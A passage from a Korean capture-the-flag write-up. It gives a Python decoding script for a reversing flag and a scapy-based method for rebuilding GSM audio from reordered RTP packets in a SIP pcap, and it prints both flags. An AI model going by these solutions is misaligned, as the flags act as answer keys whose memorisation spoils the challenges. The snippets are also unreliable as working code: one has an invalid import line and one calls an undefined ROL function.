flag포맷에 맞추어 rotate 값을 잘 조절했다. ```python= p = [(7, 0x23C34040),(3, 0x14380438),(5, 0x6098398),(7, 0xE0E2C3),(9, 0x30585858),(29, 0x81960C),(27, 0xE8AB41C)] c = list(b'elcvxntymrzoahwujigpqfdsbk\x00\x00') flag = "" for s, v in p: v = ROL(v, 28 + s) for t in range(4): s = 8 * (3 - t) flag += chr(((v >> s) & 0xFF) ^ c[0]) c = c[1:] flag = flag[:-2] c = "elcvxntymrzoahwujigpqfdsbk" res = [0 for i in range(26)] for i in range(26): res[i] = flag[c.find(chr(i + 97))] print("".join(res)) ``` Flag: `flag{globalvar_via_vmware}` ### Weird SIP 작은 pcap이다. Wireshark가 알려주는대로 말하면, SIP protocol로 세션을 만들어서 연결을 하고 RTP로 데이터 전송을 하는데 G711형식이라고 한다. 하지만 문제가 있는데 SIP에서 handshake를 할때는 G711말고 GSM이나 telephone-event로 통신을 하겠다 라고 했는데 정작 오는 데이터는 G711이라고 말하고 있다. 그리고 RTP 패킷 순서가 엉망진창이다. 이는 sequence number나 rtp의 시간순으로 정렬하면 된다. 순서를 맞춘다음, 여기서 두가지를 할 수 있는데 1. handshake를 무시한다. 데이터 type은 G711U이다 2. 오는 데이터에 써여있는 type을 무시한다. 데이터 type은 GSM이다. 먼저 1번을 해보았는데 잡음만 들렸다. 그래서 2번을 시도했더니 여성 목소리가 문장을 읽는게 들렸다. ```python= import scapy.all import * cap = rdpcap('weirdsip.pcap') arr = [21, 16, 12, 18, 17, 6, 8, 19, 15, 9, 14, 2, 1, 20, 5, 4, 10, 13, 7, 23, 3, 24, 11, 22] ppp = [b"" for i in range(len(arr))] i = 0 for p in cap: i += 1 if i < 7 or i > 30: continue d = p["Raw"].load.split(b"ABCD")[1] ppp[arr[0] - 1] = d arr = arr[1:] f = open("out.gsm", "wb") f.write(b"".join(ppp)) f.close() ``` Flag : `hsctf{sipprotocolisatextbasedprotocollikehttp}`